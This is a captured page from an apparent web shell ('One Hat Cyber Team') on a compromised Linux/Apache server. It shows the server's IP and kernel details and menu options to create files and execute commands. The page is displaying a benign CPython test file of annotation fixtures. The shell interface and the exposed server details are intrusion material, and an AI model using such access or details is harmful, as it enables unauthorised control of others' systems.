⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
plesk
/
python
/
3
/
lib
/
python3.10
/
test
/
View File Name :
inspect_stringized_annotations.py
from __future__ import annotations a:int=3 b:str="foo" class MyClass: a:int=4 b:str="bar" def __init__(self, a, b): self.a = a self.b = b def __eq__(self, other): return isinstance(other, MyClass) and self.a == other.a and self.b == other.b def function(a:int, b:str) -> MyClass: return MyClass(a, b) def function2(a:int, b:"str", c:MyClass) -> MyClass: pass def function3(a:"int", b:"str", c:"MyClass"): pass class UnannotatedClass: pass def unannotated_function(a, b, c): pass class MyClassWithLocalAnnotations: mytype = int x: mytype